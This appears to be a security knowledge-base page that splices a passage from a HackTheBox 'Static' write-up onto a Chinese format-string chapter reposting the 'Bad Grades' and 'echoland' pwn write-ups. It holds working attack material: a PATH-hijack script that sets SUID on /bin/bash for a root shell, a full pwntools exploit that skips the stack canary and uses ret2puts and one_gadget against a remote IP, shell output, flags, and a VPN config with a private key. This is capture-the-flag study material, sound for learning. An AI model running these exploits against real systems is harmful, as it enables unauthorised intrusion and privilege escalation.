2021/06/26 11:49:27 CMD: UID=0    PID=1987   | openssl ca -config /opt/easyrsa/pki/openssl-easyrsa.cnf -status 0ba01fbfb70e2b33dbb917bb6479ed87                                                                                                                     
2021/06/26 11:49:27 CMD: UID=0    PID=1988   | sed -e s`ENV::EASYRSA`EASYRSA`g -e s`$dir`/opt/easyrsa/pki`g -e s`$EASYRSA_PKI`/opt/easyrsa/pki`g -e s`$EASYRSA_CERT_EXPIRE`36500`g -e s`$EASYRSA_CRL_DAYS`180`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_KEY_SIZE`2048`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_DN`cn_only`g -e s`$EASYRSA_REQ_COUNTRY`US`g -e s`$EASYRSA_REQ_PROVINCE`California`g -e s`$EASYRSA_REQ_CITY`San Francisco`g -e s`$EASYRSA_REQ_ORG`Copyleft Certificate Co`g -e s`$EASYRSA_REQ_OU`My Organizational Unit`g -e s`$EASYRSA_REQ_CN`a`g -e s`$EASYRSA_REQ_EMAIL`me@example.net`g /opt/easyrsa/pki/openssl-easyrsa.cnf                   
2021/06/26 11:49:27 CMD: UID=0    PID=1989   | /bin/sh /opt/easyrsa/easyrsa build-client-full a nopass batch 
2021/06/26 11:49:27 CMD: UID=0    PID=1990   | /bin/sh /opt/easyrsa/easyrsa build-client-full a nopass batch 
2021/06/26 11:49:27 CMD: UID=0    PID=1991   | openssl req -in /opt/easyrsa/pki/reqs/a.req -noout -subject -nameopt multiline
```

So we can use that for Privilege escalation using path injection

 - [Linux Privilege Escalation Using PATH Variable](https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/)

Now i create a file called openssl with the bash content inside in my local machiene.

#### openssl

``` bash
#!/bin/bash
chmod u+s /bin/bash

```

Now base64 encode this and copy the base64 string.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# cat openssl | base64
IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaAo=
```

Create a directory inside /tmp folder called pwn

``` bash
www-data@pki:/tmp$ mkdir pwn
mkdir pwn
www-data@pki:/tmp$ cd pwn
cd pwn
www-data@pki:/tmp/pwn$
```

Now paste that base64 encode string and decode it and save that output in a file called openssl

``` bash
www-data@pki:/tmp/pwn$ echo "IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaAo=" | base64 -d > openssl
<Y2htb2QgdStzIC9iaW4vYmFzaAo=" | base64 -d > openssl
www-data@pki:/tmp/pwn$ cat openssl
cat openssl
#!/bin/bash
chmod u+s /bin/bash
www-data@pki:/tmp/pwn$ chmod 755 openssl
chmod 755 openssl
www-data@pki:/tmp/pwn$ ls -la
ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Jun 26 12:14 .
drwxrwxrwt 1 root     root     4096 Jun 26 12:13 ..
-rwxr-xr-x 1 www-data www-data   32 Jun 26 12:14 openssl
www-data@pki:/tmp/pwn$ export PATH=/tmp/pwn:$PATH
export PATH=/tmp/pwn:$PATH
www-data@pki:/tmp/pwn$ echo $PATH
echo $PATH
/tmp/pwn:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

Now just run the ersatool binary and check the /bin/bash binary as shown

And we see that /bin/bash binary permission has been changed to suid bit set.

``` bash
www-data@pki:/tmp/pwn$ ersatool
ersatool
# create
create
create->CN=a
a
client
dev tun9
proto udp
remote vpn.static.htb 1194
resolv-retry infinite
nobind
user nobody
group nogroup
persist-key
persist-tun

remote-cert-tls server

cipher AES-256-CBC
#auth SHA256
key-direction 1
verb 3
<ca>
-----BEGIN CERTIFICATE-----
MIIDRzCCAi+gAwIBAgIUR+mYrXHJORV4tbg81sQS7RfjYK4wDQYJKoZIhvcNAQEL
BQAwFDESMBAGA1UEAwwJc3RhdGljLWd3MCAXDTIwMDMyMjEwMTYwMVoYDzIxMjAw
MjI3MTAxNjAxWjAUMRIwEAYDVQQDDAlzdGF0aWMtZ3cwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQDCA/rLO4l5goACROYshzlVowO7hAl+EDgAUof3VSph
1UF2OCCr2J2xpOkkWHKFPCTl+fCtLcxKZdb5zQBKhIvxJ3Tzqe18whu23aI8Imol
AQcqZcaSMTRXAp8HKsrxpXl8TtbZ2y4nAVR0YXAWOadSMQtmztiOgzDAP+FbqZQf
CnKBW+yxNxjlrD/VpVf/C9GnXDn+QH2ezoOYCid6+ANuiSTqks3FzEnUrwuVMgxp
MW94Sw/2d8WbUfD5DxKvyHObjDwwZn54ZNz8WEXzTfqTtFD1ghNsvVJgvsDmyMYh
7nDfRSxNc3cEY8FOVvvaA3BvPP06xVEz0GrJkfUNjyvFAgMBAAGjgY4wgYswHQYD
VR0OBBYEFKHag2AygX8bgBngIC3WYMil7YJUME8GA1UdIwRIMEaAFKHag2AygX8b
gBngIC3WYMil7YJUoRikFjAUMRIwEAYDVQQDDAlzdGF0aWMtZ3eCFEfpmK1xyTkV
eLW4PNbEEu0X42CuMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgEGMA0GCSqGSIb3
DQEBCwUAA4IBAQAG/yziZ6ae3f//fsOmU0GBLwKzWGzQxdykHAwN6452Mt3FHT7A
0+aT+C9DWmx4r71PD8RIDI9eDdOu9RZ8VoutZuZrhca5SpLoGfIFnmveNzy0mcf7
a/AQCH/XSOr8+FkF6UGXUK80lylqe3R/1YXct3htZZEPuSBDdi6zPMrq4UaGCPkY
bOFXVZZA7KHkzt5F8ajGs7xbTNTarOsPjdhN75dMfnG1w8upw1DLb1LE8QTP00fQ
i0wzJtUvYetL96vt/mbo8AuYZmWWmOzm1mJLNn4UbhG65/mHfBWHduRy1YZeeiuI
qYSaD5L082aZQj/S+qfTgkRiT2nduN1pZURn
-----END CERTIFICATE-----
</ca>
<cert>
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            0b:a0:1f:bf:b7:0e:2b:33:db:b9:17:bb:64:79:ed:87
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=static-gw
        Validity
            Not Before: Jun 26 11:49:27 2021 GMT
            Not After : Jun  2 11:49:27 2121 GMT
        Subject: CN=a
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:c7:78:a3:56:5c:6f:6e:9a:23:80:90:9d:2d:38:
                    12:e0:12:cd:62:4d:cc:2f:05:9f:75:f8:ca:9e:7f:
                    1a:de:ea:c4:d2:fe:1d:0f:d3:91:b9:8f:ab:b5:6e:
                    3d:f0:50:4c:73:d3:99:bb:46:7a:3f:71:24:5e:85:
                    82:5b:fc:70:05:01:5d:cb:e0:7d:2e:96:21:1d:c5:
                    cb:30:70:78:0e:dc:c5:aa:cf:6b:4b:fb:6e:ee:90:
                    cc:8a:99:da:25:ec:6c:e1:1d:c6:cb:ac:29:b0:51:
                    78:71:ce:76:b5:00:b8:c8:35:e2:5b:d3:c8:af:dc:
                    81:75:a8:e1:fd:40:e3:fd:06:4e:8a:7b:79:51:5c:
                    6e:83:79:6b:1a:a3:5a:eb:87:54:da:b2:60:cb:cb:
                    dc:fc:a2:15:9c:1b:a2:1f:2a:8e:b0:9c:e9:97:68:
                    a9:d9:32:ff:26:47:31:13:b6:4b:4a:85:1f:84:7d:
                    82:39:9c:2a:e1:c7:a8:9b:62:36:6f:4c:ab:88:cc:
                    f4:c9:78:c5:a0:17:98:22:f7:be:ae:fa:79:bb:3f:
                    54:41:a1:fc:5c:fb:4d:18:50:78:a5:ef:f3:1b:75:
                    25:19:06:dc:65:9e:6d:b1:15:28:d7:c5:12:c8:df:
                    b6:7f:18:15:d1:84:22:80:9a:fd:a3:02:d8:29:b8:
                    5c:45
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            X509v3 Subject Key Identifier: 
                2A:01:B8:D8:81:81:98:69:C8:1D:65:D5:F5:9D:87:05:5D:74:8C:32
            X509v3 Authority Key Identifier: 
                keyid:A1:DA:83:60:32:81:7F:1B:80:19:E0:20:2D:D6:60:C8:A5:ED:82:54
                DirName:/CN=static-gw
                serial:47:E9:98:AD:71:C9:39:15:78:B5:B8:3C:D6:C4:12:ED:17:E3:60:AE

            X509v3 Extended Key Usage: 
                TLS Web Client Authentication
            X509v3 Key Usage: 
                Digital Signature
    Signature Algorithm: sha256WithRSAEncryption
         72:6f:3b:22:41:74:74:b1:c9:ae:b1:21:ef:74:8d:76:45:d6:
         f5:1b:dd:29:94:d9:fc:2f:d6:f9:80:f7:ec:33:c5:bd:7c:82:
         9f:ec:74:5b:de:bf:88:b3:fa:7a:c9:0f:bb:d1:a2:4a:80:04:
         36:a6:13:07:af:6b:80:e6:4c:39:2e:66:a6:ce:89:f4:bc:e4:
         6c:29:75:48:94:43:96:db:46:34:01:86:df:26:74:de:13:3a:
         3d:a3:e5:28:6c:e2:65:ab:ed:51:41:7f:1c:b7:c4:42:c2:61:
         eb:a5:cd:d4:72:b0:5b:82:cc:25:8c:c7:2e:31:a1:95:e7:14:
         1c:50:cf:20:7b:b4:a7:19:e6:46:4f:8d:1f:da:b8:c4:ad:c0:
         b5:37:94:02:57:a7:86:c8:9a:45:65:65:54:32:4a:05:36:03:
         2a:66:fd:48:2e:87:1a:ef:6f:b2:fa:0b:6a:20:58:46:d3:04:
         60:b9:26:67:0e:9e:16:3f:4c:c0:d4:de:da:b4:3e:e0:eb:b5:
         0d:6f:50:14:f6:25:77:2d:97:02:c6:c4:a9:f6:8b:1d:b1:35:
         2e:c3:a9:de:01:86:22:04:90:f4:5e:4c:6f:96:30:f0:2c:95:
         e3:33:98:bb:55:7d:69:59:9c:73:e7:19:7d:96:6c:8c:eb:b7:
         3a:90:e6:17
-----BEGIN CERTIFICATE-----
MIIDTTCCAjWgAwIBAgIQC6Afv7cOKzPbuRe7ZHnthzANBgkqhkiG9w0BAQsFADAU
MRIwEAYDVQQDDAlzdGF0aWMtZ3cwIBcNMjEwNjI2MTE0OTI3WhgPMjEyMTA2MDIx
MTQ5MjdaMAwxCjAIBgNVBAMMAWEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDHeKNWXG9umiOAkJ0tOBLgEs1iTcwvBZ91+Mqefxre6sTS/h0P05G5j6u1
bj3wUExz05m7Rno/cSRehYJb/HAFAV3L4H0uliEdxcswcHgO3MWqz2tL+27ukMyK
mdol7GzhHcbLrCmwUXhxzna1ALjINeJb08iv3IF1qOH9QOP9Bk6Ke3lRXG6DeWsa
o1rrh1TasmDLy9z8ohWcG6IfKo6wnOmXaKnZMv8mRzETtktKhR+EfYI5nCrhx6ib
YjZvTKuIzPTJeMWgF5gi976u+nm7P1RBofxc+00YUHil7/MbdSUZBtxlnm2xFSjX
xRLI37Z/GBXRhCKAmv2jAtgpuFxFAgMBAAGjgaAwgZ0wCQYDVR0TBAIwADAdBgNV
HQ4EFgQUKgG42IGBmGnIHWXV9Z2HBV10jDIwTwYDVR0jBEgwRoAUodqDYDKBfxuA
GeAgLdZgyKXtglShGKQWMBQxEjAQBgNVBAMMCXN0YXRpYy1nd4IUR+mYrXHJORV4
tbg81sQS7RfjYK4wEwYDVR0lBAwwCgYIKwYBBQUHAwIwCwYDVR0PBAQDAgeAMA0G
CSqGSIb3DQEBCwUAA4IBAQBybzsiQXR0scmusSHvdI12Rdb1G90plNn8L9b5gPfs
M8W9fIKf7HRb3r+Is/p6yQ+70aJKgAQ2phMHr2uA5kw5Lmamzon0vORsKXVIlEOW
20Y0AYbfJnTeEzo9o+UobOJlq+1RQX8ct8RCwmHrpc3UcrBbgswljMcuMaGV5xQc
UM8ge7SnGeZGT40f2rjErcC1N5QCV6eGyJpFZWVUMkoFNgMqZv1ILoca72+y+gtq
IFhG0wRguSZnDp4WP0zA1N7atD7g67UNb1AU9iV3LZcCxsSp9osdsTUuw6neAYYi
BJD0XkxvljDwLJXjM5i7VX1pWZxz5xl9lmyM67c6kOYX
-----END CERTIFICATE-----
</cert>
<key>
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHeKNWXG9umiOA
kJ0tOBLgEs1iTcwvBZ91+Mqefxre6sTS/h0P05G5j6u1bj3wUExz05m7Rno/cSRe
hYJb/HAFAV3L4H0uliEdxcswcHgO3MWqz2tL+27ukMyKmdol7GzhHcbLrCmwUXhx
zna1ALjINeJb08iv3IF1qOH9QOP9Bk6Ke3lRXG6DeWsao1rrh1TasmDLy9z8ohWc
G6IfKo6wnOmXaKnZMv8mRzETtktKhR+EfYI5nCrhx6ibYjZvTKuIzPTJeMWgF5gi
976u+nm7P1RBofxc+00YUHil7/MbdSUZBtxlnm2xFSjXxRLI37Z/GBXRhCKAmv2j
AtgpuFxFAgMBAAECggEAWYKwQVPPiWFP5yR988nC5pxpX+CrbLpoOUdAnWlKRJgz
ZL81iWGWdh+bnRnwX4OZGyzsQpa4yvlZqbTdr6uTFRvs3E1Lv3kNOVAGAyGlLn4x
kZnsezdEK3f84YFy3CvBHDABgmoqdv3IP8G3kTfWs7lCb5SU7R3VVlhHuR7CcEr1
2t3sVotmzmKLyYj1Dm8+9iGCk5e9xhVkW5BzqimYmZK/XCZqzCugw91KFPuSQCdb
fRA7EBKAKyrXdMFfgm38xFTlL2TuyAlVymKoneFICA6px1Wc+vac23zLk6HurxLe
YMGypeEAS9UmmDFczmQ3XZqAO6mc1EpCqAbUTcR5jQKBgQDzZ5FGe/Wx7XCaJAh9
ua6xJD3Kg1cZkvvBg1whGdk+O+JybEvxp6Sfditwt1EVdd8xoga1DlIY3IjIho5Z
YujWpf5xy9Ks1PExSiEZqvJSO4KHTWRsSWp54PLzlL225aimmzRJKtC6IPLK1x4W
BSg7iaTrbFDkh1EKU3byPGFcmwKBgQDRyxOSHwUtwCUxRc/zF7Y1YDisoJ2hF1Op
6L4eMIsiPZkFrQZbdvkutdgq7EWICpYtN5u8IZHiD1EmZwLidK/QcZhCPepbxwOi
3oKVB214bvUPr2qxzXXtwaK7Mt7o8Jc3eN5tdFhtt43yQpDICGo6JyoL6xcfCac0
o0zNgUEInwKBgQDqC5ckaEOLEB4rCSTlB6uTh56m4P3aiHvtykrHRVygO+L1VW78
8c8Yyf7hRlQAR7QSvJKofBmy8DPSZZfxGWt8Imb0syFjsOovE/GaBcc2DSToxyEe
AsYQZZ4XW9nESTaO5UQ0aqgDoXT0WD8Eu3bBMQxUl3V9GSRywmjoaejQqwKBgHMs
hMsEgqhSQ1jglcBENUDqWVLUPpVwo/q0jqMuTUP4Ayktiz7tevFc3Zb67VU5Uqby
T2oiF9++PvPRO7EtFFRf+JHtQdsuz907QP8l+8BRUfJRgEaqoGJtmrQgwmWpp6rJ
jXsTk3Rwf9oPF0Lp87+HPrsaTjA48XWhbQmpOxXLAoGAVA9Rml+mDg/az1AkQ2GV
/NS0EomOtLa22ZsH95gRvq8Ax33rghmFHeECbbvwiS5TKexrGdOqBvvtLqSi0HHD
SrTcrWv15LlhI1c+d+IRDklkHS0DpNW9dSULyGDuxHmsou10bmNaElVuY67lz3TS
6qNVEFTOuKZjgJ9/JCDtK8U=
-----END PRIVATE KEY-----
</key>
key-direction 1
<tls-auth>
#
# 2048 bit OpenVPN static key
#
-----BEGIN OpenVPN Static key V1-----
09a194dc6aee4ae65459c682cc0b25e9
43e54d75dd1d83653ef04a67c65177da
98df768c86585611755082c6b06da8d9
21a4e3afd8d4537c3be9cf3c91a31ddd
157c9ff3f99c5f098ca8be7fe4e01435
86ac1e6b62d126d9f31bf603cd822e26
4a0dfdcb5aa5e66d97cd7b338e7dc07a
62a7691b4fc80830c169f27486f9f22e
4b71185dda7c5adac7ed55b80190dd35
3ec31228f556903d23dbf12d3928578d
c7fe5488d77ab72a0f50ae8d975af87e
ec0dbce0f9f7bf2c01aff9c9cf4fcc99
aaca4a1e81a0a240565c356cd33c6163
f7d986e0395ea90a439b176542a42009
2aafeb626aadb6abc35fa023426c9334
ea5f5af8329f367f112599f3e668bd7a
-----END OpenVPN Static key V1-----
</tls-auth>
create->CN=

# exit
exit
www-data@pki:/tmp/pwn$ ls -al /bin/bash
ls -al /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash
```

Now just execute the /bin/bash -p and get the root.txt file.

``` bash
www-data@pki:/tmp/pwn$ /bin/bash -p
/bin/bash -p
bash-4.4# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
bash-4.4# whoami
whoami
root
bash-4.4# cd /root
cd /root
bash-4.4# ls
ls
notes.txt  root.txt
bash-4.4# cat root.txt
cat root.txt
25492e1db711e8e76bd204f5b033490a
bash-4.4# cat notes.txt
cat notes.txt
Resources used for creation of this box:

https://github.com/lfkeitel/php-totp
https://github.com/gteissier/xdebug-shell
https://github.com/neex/phuip-fpizdam

bash-4.4# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:*:18332:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2008.jpg)

and we are done!

#### Summary of knowledge

 - dir fuzz
 - fix the corrupted gz file using fixgz
 - john crack hash
 - use firefox add-ons Authenticator to get OTP
 - xdebug Unauthenticated OS Command Execution
 - PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)
 - download a file using just bash and nothing else
 - using pspy to monitor ersatool binary proccess
 - Linux Privilege Escalation Using PATH Variable

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end static -->

</details>




# 格式化字符串、地址泄漏与保护绕过

格式化字符串可以泄漏栈数据、恢复程序或构造写入原语，但每个目标的参数位置和保护组合不同。本章保留 PIE、Canary、ASLR 与 libc 的逐层确认过程，代码和运行输出可以互相对照。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/format/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Echoland 从网络接口恢复 ELF，原脚本包含错误地址与崩溃处理。

Bad Grades 的浮点输入与 What Does the F Say 的 canary 泄漏分别形成不同绕过路线。

Format 保留两套分析，Racecar 则展示字长与小端重组对结果的影响。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [浮点输入中的 canary 绕过](#case-bad-grades) | bad-grades | 格式化字符串、Canary、ret2libc |
| [盲格式化字符串与二进制恢复](#case-echoland) | echoland | 格式化字符串、信息泄漏、ret2libc |
| [PIE 泄漏与格式化写入](#case-format) | format | 格式化字符串、PIE、libc |
| [栈数据与小端重组](#case-racecar) | racecar | 格式化字符串、字节序、信息泄漏 |
| [PIE、Canary 与 libc 的分层泄漏](#case-what-dose-the-f-say) | what-dose-the-f-say | 格式化字符串、Canary、PIE、ret2libc |

<a id="case-bad-grades"></a>

## 浮点输入中的 canary 绕过

scanf 的浮点输入行为允许跳过指定槽位。原记录将它与返回地址的 double 编码、ret2puts 泄漏及第二阶段调用结合，并保留完整脚本。

<p class="kb-provenance">来源 bad-grades · 原记录 2021-09-01 · 5 个代码块 · 14 处图片引用</p>

<details class="kb-evidence" id="record-bad-grades">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start bad-grades -->

#### 详细过程及exp
#### 1. Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Bad_grades]
└─# file bad_grades 
bad_grades: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b60153cf4a14cf069c511baaae94948e073839fe, stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Bad_grades]
└─# checksec bad_grades
[*] '/root/hackthebox/challenge/pwn/Bad_grades/bad_grades'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```



#### 2. Spot the first vulnerability — buffer overflow:

The first vulnerability lies in the total grades counter buffer, which could be overflowed with more than 33 Bytes.

Make a loop that will add 34 grades to the grade pool.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades.jpg)

Spot the stack smashing — potential buffer overflow.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades1.jpg)

#### 3. Spot the second vulnerability — format string:

Since there is a stack canary in use, it will be impossible to exploit a buffer overflow, without leaking somehow stack canary value, brute-forcing it, or somehow skipping this value while overflowing the rest of the stack data.

The binary is stripped, but the overflowed function can be spotted with ease using static binary analysis with a disassembler.

It shows the information about the data type (%lf for double) that will be stored in memory.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades2.jpg)

You can use . (dot character) to skip writing data in a referenced variable if the user input is collected with scanf("%lf", &grade[i])

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades3.jpg)

#### 4. Join two vulnerabilities and skip the stack canary:

Since stack cookie is just before return address, you can skip writing to canary and overwrite the RSP register, thus controlling execution flow.

One thing to mention, there is a (35) RBP register between (34) stack canary and (36) RSP register.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades4.jpg)

The last problem is the type of the variable set by scanf(“%lf”, &grade[i]) which is double . That means during overflow, the return address will be overwritten not by for example 65 but 65.0 .

Doubles are stored in memory differently, you can learn how to convert double to binary [here](https://www.log2base2.com/storage/how-float-values-are-stored-in-memory.html).

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades5.jpg)

There are three steps in Python2 in order to convert your desire pointer value to the double representation

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades6.jpg)

``` python
def double_pointer(pointer_value):
    '''Convert x64 pointer to double representation'''
    byte_string = p64(pointer_value)
    hex_byte_string = binascii.hexlify(byte_string)
    return struct.unpack('d', hex_byte_string.decode('hex'))[0]
```

Armed with the above script you are ready to overwrite the RSP address.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades7.jpg)

The RSP below successfully returns to the printf()

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades8.jpg)

#### 5. Bypass ASLR with ret2puts:

First, the PLT address of puts() will be needed with the corresponding GOT address to be leaked.

Since this is an x64 architecture it will be needed a ROP gadget to set up the GOT address of puts in the RDI register, so it could be used by puts().

Additionally, main() address will be needed for returning to vulnerable function and overflow it again with the calculated address of one_gadget.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades9.jpg)

Set the grade_counter to 39 — since now additional values will be stored on the stack.

Send the payload in correct order, to leak GOT entry with puts()

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades10.jpg)

Run it against the remote target to check if it works.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades11.jpg)

#### 6. Connect all the dots and get the shell:

Calculate the [one_gadget](https://karol-mazurek95.medium.com/pwn-restaurant-challenge-htb-2287a1f83cf4) with leaked puts using relative addressing.
(puts address is further than execve() relative it is 0x80aa0–0x4f432 )

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Bad_grades]
└─# one_gadget libc.so.6
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Bad_grades]
└─# objdump -TR libc.so.6 | grep puts
0000000000080aa0 g    DF .text  0000000000000200  GLIBC_2.2.5 _IO_puts
0000000000080aa0  w   DF .text  0000000000000200  GLIBC_2.2.5 puts
0000000000126550 g    DF .text  00000000000004d8  GLIBC_2.2.5 putspent
0000000000128460 g    DF .text  00000000000002ee  GLIBC_2.10  putsgent
000000000007f2d0  w   DF .text  000000000000018c  GLIBC_2.2.5 fputs
000000000007f2d0 g    DF .text  000000000000018c  GLIBC_2.2.5 _IO_fputs
000000000008a710  w   DF .text  000000000000008f  GLIBC_2.2.5 fputs_unlocked
```

Overflow it again with calculated one_gadget

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades12.jpg)

#### 7. Final exploit:

``` python
from pwn import *
import struct
import time

context.log_level = "info"
libc = ELF("libc.so.6")
#libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")

rop = ROP("bad_grades")
elf = ELF("bad_grades")
p = remote("138.68.155.238", 30565)

#p = process("./bad_grades")
#gdb.attach(p,''' b * 0x4010ec
#c
#''')
# Detecting overflow ---
def first_vul():
    p.sendline("2")
    p.recv()
    p.sendline("34")
    p.recv()
    for i in range(0,34):
        p.sendline("1")
        print(p.recv())

# ---
# Set the address variables ---
puts_got = elf.got["puts"]
log.success("GOT puts address: {}".format(hex(puts_got)))
puts_plt = elf.plt["puts"]
log.success("PLT puts address: {}".format(hex(puts_plt)))
pop_rdi = rop.find_gadget(["pop rdi"])[0]
log.success("POP RDI gadget address: {}".format(hex(pop_rdi)))
main_addr = 0x00401108
log.success("Main address: {}".format(hex(main_addr)))

# ---
def fill_the_buffer(grades_count):
    ''' Set the stack pointer at the 34th Byte'''
    p.sendline("2")
    p.recv()
    p.sendline("{}".format(grades_count))
    p.recv()
    for i in range(0,33): 
        p.sendline("1")
        p.recv()
    
    p.sendline(".") # pass canary
    p.recv()
    p.sendline(".") # pass RBP
    p.recv()

def double_pointer(pointer_value):
    '''Convert x64 pointer to double representation'''
    byte_string = p64(pointer_value)
    hex_byte_string = binascii.hexlify(byte_string)
    return struct.unpack('d', hex_byte_string.decode('hex'))[0]

# Jump over stack canary and frame pointer & leak puts address ---
fill_the_buffer(39)
p.sendline("{}".format(double_pointer(pop_rdi)))
print(p.recv())
p.sendline("{}".format(double_pointer(puts_got)))
print(p.recv())
p.sendline("{}".format(double_pointer(puts_plt)))
print(p.recv())
p.sendline("{}".format(double_pointer(main_addr)))
p.recvline() # leak data to first 0x0a char
leak = p.recvline() # leak another line with puts address 
print("[+] leak another line with puts address:", leak)
time.sleep(1)
leaked_puts = u64(leak.strip().ljust(8,"\x00"))
log.critical("Leaked puts address: {}".format(leaked_puts))

# ---
# Overflow again with calculated one gadget ---
one_gadget = leaked_puts - libc.symbols["puts"] + 0x4f432
fill_the_buffer(36)
p.sendline("{}".format(double_pointer(one_gadget))) 
print(p.recv())

p.interactive()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Bad_grades]
└─# python getshell.py                                                                                               
[*] '/root/hackthebox/challenge/pwn/Bad_grades/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/hackthebox/challenge/pwn/Bad_grades/bad_grades'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for 'bad_grades'
[+] Opening connection to 178.128.160.242 on port 30441: Done
[+] GOT puts address: 0x601fa8
[+] PLT puts address: 0x400680
[+] POP RDI gadget address: 0x401263
[+] Main address: 0x401108
Grade [36]: 
Grade [37]: 
Grade [38]: 
('[+] leak another line with puts address:', '\xa0Zy/\xc1\x7f\n')
[CRITICAL] Leaked puts address: 140467701897888
Grade [36]: 
[*] Switching to interactive mode
Your new average is: 134990801633253939234528747106260167272288995420515641120614684084693692875892821619221009832982853632238658860567790589577833938316859881291776.00
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ ls
bad_grades
flag.txt
libc.so.6
run_challenge.sh
$ cat flag.txt
HTB{c4n4ry_1s_4fr41d_0f_s1gn3d_numb3r5}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bad-grades13.jpg)

#### 摘自(致敬原作)......

 - 浏览medium.com博客每月有次数限制，并且5$收费，故摘录文章。。。
 - [PWN Bad grades challenge - HTB](https://karol-mazurek95.medium.com/pwn-bad-grades-challenge-htb-e747bda5e446)
<!-- kb:end bad-grades -->

</details>

<a id="case-echoland"></a>

## 盲格式化字符串与二进制恢复

仅有网络接口时，通过指针、ELF magic 和内存读取恢复程序，再确定 libc 与溢出位置。错误地址导致的崩溃处理也保留在脚本中。

<p class="kb-provenance">来源 echoland · 原记录 2021-12-11 · 23 个代码块 · 12 处图片引用</p>

<details class="kb-evidence" id="record-echoland">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start echoland -->

#### 详细过程及exp
#### 0. Connect to the binary:

The only information provided with this challenge was an IP address and port number.
You can connect to the binary using for example netcat as below:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# nc 138.68.136.191 32714

🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> HELLO
HELLO

1. Scream.
2. Run outside.
> asd
asd
```

Typing HELLO or asd resulting in the same value echoed back.
Another option is to (1) Scream...

``` bash
1. Scream.
2. Run outside.
> 1
>> AAAAAAA
Your friend did not recognize you and ran the other way!
```



... but nobody will hear you :)

